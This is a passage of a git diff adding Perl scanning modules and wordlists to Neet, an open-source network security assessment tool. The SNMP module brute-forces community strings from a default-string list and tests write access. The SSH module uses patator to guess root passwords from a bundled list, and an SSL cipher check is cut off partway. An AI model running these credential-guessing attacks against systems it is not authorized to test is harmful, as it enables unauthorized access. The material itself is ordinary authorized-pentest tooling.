modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package SNMP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='udp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("snmp.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=20; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=4; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my (@read,@write); $#read=-1; $#write=-1; + my $StringsFile="${resourceDir}/defaultStrings"; + my $Retries=$Config->GetVal("Speeds.$targetType.snmpxet.numretries." . $MainScan->Speed); + my $RetryInterval=$Config->GetVal("Speeds.$targetType.snmpxet.retryinterval." . $MainScan->Speed); + my $Version=$Config->GetVal("Version.SNMP"); + my @OIDS=split " ", $Config->GetVal("OID.SNMP"); + my $READ_OID; #=$Config->GetVal("OID.SNMP"); + my $READ_ANY=0; my $WROTE_ANY=0; + + if (open(SNMP,"$StringsFile")){ + my @strings=; + close SNMP; + for my $string (@strings){ + for my $OID (@OIDS){ + last if ($READ_ANY > 4); + chomp $string; + my $command=$MainScan->getPath("snmpget") . " -v \"$Version\" -r \"$Retries\" -t \"$RetryInterval\" -c \"$string\" \"${protocol}:${host}:$port\" \"$OID\""; + $error=$MainScan->System("$command > $outputDir/raw/SNMP.tmp 2>/dev/null"); # nolog? + if (!$error){ + # We read the string + $READ_ANY++; + $READ_OID=$OID; + if (open(FH,"$outputDir/raw/SNMP.tmp")){ + my $value=; + close FH; + if ($value){ + chomp $value; + push @read, "$string\t$value"; + } + # Now get the MIB + if (!$self->IsScanComplete($name . "getmib",$target) && $value){ + my $Retries=$Config->GetVal("Speeds.$targetType.snmpwalk.numretries." . $MainScan->Speed); + my $RetryInterval=$Config->GetVal("Speeds.$targetType.snmpwalk.retryinterval." . $MainScan->Speed); + my $Version=$Config->GetVal("Version.SNMP"); + my $command=$MainScan->getPath("snmpwalk") . " -v \"$Version\" -r \"$Retries\" -t \"$RetryInterval\" -Cc -c \"$string\" -Oq \"${protocol}:${host}:$port\""; + my $error=$MainScan->System("$command > $outputDir/snmpMIB-${port}.txt 2>/dev/null"); + if ($error){ + $Log->Error("GSM thread $threadID ($name -> $target): Couldn't get entire MIB - error code $error\n"); + } else { + #$Log->Vuln ("GSM thread $threadID ($name -> $target): -> GOT MIB using string \"$string\"\n"); + my $message="Host allowed the SNMP MIB to be read using the community string \"$string\""; + $MainScan->StoreGuessedPassword($target,"vuln", "SNMP","nouser","$string","GSM-SNMP-RD",$message); + $self->SetScanComplete($name . "getmib",$target); + $MainScan->SetStatValue($MainScan->ResultsDirectory . "/readSNMP.txt",$target,$string); + } + if (-f "$outputDir/snmpMIB-${port}.txt"){ + my $hw=$MainScan->GetStatValue("$outputDir/snmpMIB-${port}.txt","SNMPv2-MIB::sysDescr.0"); + my $aix=$MainScan->GetStatValue("$outputDir/snmpMIB-${port}.txt","Base Operating System Runtime AIX version:"); + + if ($hw){ + if ($hw =~ /\sia64\s/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Architecture","64-bit Itanium"); + } elsif ($hw =~ /\sx64\s/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Architecture","64-bit"); + } elsif ($hw =~ /\sx86\s/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Architecture","32-bit x86"); + } elsif ($hw =~ /IBM PowerPC CHRP Computer/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Architecture","IBM PowerPC CHRP"); + } elsif ($hw =~ /Fibre Channel Switch/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Architecture","Fibre Channel Switch"); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OS","Fibre Channel Switch"); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OSType","Fibre Channel Switch"); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OSFamily","Fibre Channel Switch"); + $MainScan->DelStatKey("unix.txt",$host); + $MainScan->SetStatValue("switch.txt",$host,"Fibre Channel"); + } + } + if ($aix){ + my ($junk,$version) = split "version: ", $aix; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OSType","unix"); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OSFamily","AIX"); + if ($version){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OS","AIX $version"); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","OSVersion","$version"); + $MainScan->SetStatValue("unix.txt",$host,"AIX $version"); + } else { + $MainScan->SetStatValue("unix.txt",$host,"AIX"); + } + } + } + } else { + $Log->Status("GSM thread $threadID ($name -> $target): Already scanned - skipping\n"); + } + } + } + } # OID + } # String + + # For the strings we got as READ, try writing + for my $data (@read){ + next if (!$data); + my $OID=$READ_OID; + my ($string,$value)=split "\\t", $data; + $value =~ s/[\s\S]+ = \w+: ([\s\S]+)/$1/; $value =~ s/[\r\n]//g; + my $command=$MainScan->getPath("snmpset") . " -v \"$Version\" -r \"$Retries\" -t \"$RetryInterval\" -c \"$string\" \"${protocol}:${host}:$port\" \"$OID\" s MODIFIED"; + $error=$MainScan->System("$command > $outputDir/raw/SNMP.tmp 2>/dev/null"); # nolog? + if (!$error){ + # We modified the string. + $WROTE_ANY=1; + $MainScan->SetStatValue($MainScan->ResultsDirectory . "/writeSNMP.txt",$target,$string); + $MainScan->ConfigError($target, "vuln", "GSM-SNMP-WR", "Wrote SNMP MIB using string \"$string\""); + push @write, $string; + $command=$MainScan->getPath("snmpset") . " -v \"$Version\" -r \"$Retries\" -t \"$RetryInterval\" -c \"$string\" \"${protocol}:${host}:$port\" \"$OID\" s \"$value\""; + $error=$MainScan->System("$command > $outputDir/raw/SNMP.tmp 2>/dev/null"); # nolog? + if ($error){ + $Log->Warn("GSM thread $threadID ($name -> $target): Failed to reset $OID to \"$value\" (Using community string \"$string\")"); + } else { + $Log->OK("GSM thread $threadID ($name -> $target): Succesfully reset $OID to original value \"$value\" (Using community string \"$string\")"); + } + } + } + unlink "$outputDir/raw/SNMP.tmp"; + } else { + $Log->Warn ("GSM thread $threadID ($name -> $target): Couldn't open $StringsFile to read SNMP strings\n"); + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/SNMP/defaultStrings b/content/SNMP/defaultStrings new file mode 100644 index 0000000..da0e8b9 --- /dev/null +++ b/content/SNMP/defaultStrings @@ -0,0 +1,60 @@ +public +private +Insight +n0kia1 +cisco +enable +all +snmpd +read +password +router +system +manager +security +test +guest +angel +snmp +SNMP +optivity90_autotrap +monitor +ILMI +cable-docsis +ilmi +admin +proxy +write +access +root +SNMP_trap +network +tivoli +secret +community +openview +world +default +Secret +C0de +OrigEquipMfr +rmon +rmon_admin +hp_admin +FibreChannel +common +oracler +oraclew +w1dg3t5 +mumba1peAch +shangha1plUm +valenc1aAKEe +r0wan +@tTherace5 +epne +C&Wc0m +cwcbrk +nifsnmp +SideFarThe +Hitachi +hitachi diff --git a/content/SSH/SSH.gsm b/content/SSH/SSH.gsm new file mode 100644 index 0000000..c0a7ed1 --- /dev/null +++ b/content/SSH/SSH.gsm @@ -0,0 +1,293 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package SSH; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("ssh.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=50; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=1; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + # This check is now incorporated in the service discovery module + # Get the banner: See if we're supporting protocol 1 + #my @banner=$MainScan->ReadFile("$outputDir/banners/${port}.txt"); + #for my $line (@banner){ + # chomp $line; + # if (index($line,"SSH-1.")==0){ + # $MainScan->ConfigError($host, "issue", "SSHProto", "Host supports SSH protocol 1.x"); + # last; + # } + #} + + my ($osDetermined,$unix)=(0,0); + # Do we know the OS, and is the target running Unix? + my @file=$MainScan->ReadFile("$outputDir/hostInfo.txt"); + for my $line (@file){ + if (index($line,"OSType ")>=0){ + $osDetermined=1; + if (index($line,"OSType unix")>=0){ + $unix=1; + last; + } + } + } + + if ($osDetermined){ + # Don't run anything if we don't know the OS + my $patator=$MainScan->getPath("patator.py"); + my $output="$outputDir/raw/patator-$port.txt"; + if ($patator && $unix){ + my ($username,$password)=('root',""); + $MainScan->System("$patator ssh_login port=$port host=$host user=$username password=FILE0 0=$resourceDir/passwords.txt persistent=1 -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session' -x quit:code=0 > $output 2>&1"); + @file=$MainScan->ReadFile($output); + for my $line (@file){ + if (($line =~ /SSH/) && ($line !~ /Error/)){ + # Logged in + $password=$line; + $password =~ s/^[\S\s]+\s+\|\s+([\S\s]+)\|[\S\s]+\|[\S\s]+$/$1/; + $password =~ s/\s+$//g; + $MainScan->StoreGuessedPassword($target,"comp","SSH",$username,$password,"GSM-SSH-1","Logged in as $username password $password"); + last; + } + } + } + $self->SetScanComplete("$name","$target"); + } + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/SSH/passwords.txt b/content/SSH/passwords.txt new file mode 100644 index 0000000..b0f371e --- /dev/null +++ b/content/SSH/passwords.txt @@ -0,0 +1,21 @@ + +toor +root +Root +r00t +letmein +password +Password +passw0rd +Passw0rd +pa55w0rd +Pa55w0rd +password1 +Password1 +passw0rd1 +Passw0rd1 +pa55w0rd1 +Pa55w0rd1 +calvin + + diff --git a/content/SSL/SSL.gsm b/content/SSL/SSL.gsm new file mode 100644 index 0000000..029c843 --- /dev/null +++ b/content/SSL/SSL.gsm @@ -0,0 +1,348 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package SSL; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("ssl.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=20; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my $sslscan=$MainScan->getPath("sslscan"); + return 0 if (!$sslscan); + my $error=$MainScan->System("$sslscan $socket > ${outputDir}/raw/sslscan-${socket}.txt 2>&1"); + if (!$error){ + my @ciphers=$MainScan->ReadFile("${outputDir}/raw/sslscan-${socket}.txt"); + my ($pref,$weak,$two,$badpref,$null,$prefnull)=(0,0,0,0,0,0); + for my $cipher (@ciphers){ + if ($cipher =~ /Prefered Server Cipher/){ + $pref=1; next; + } 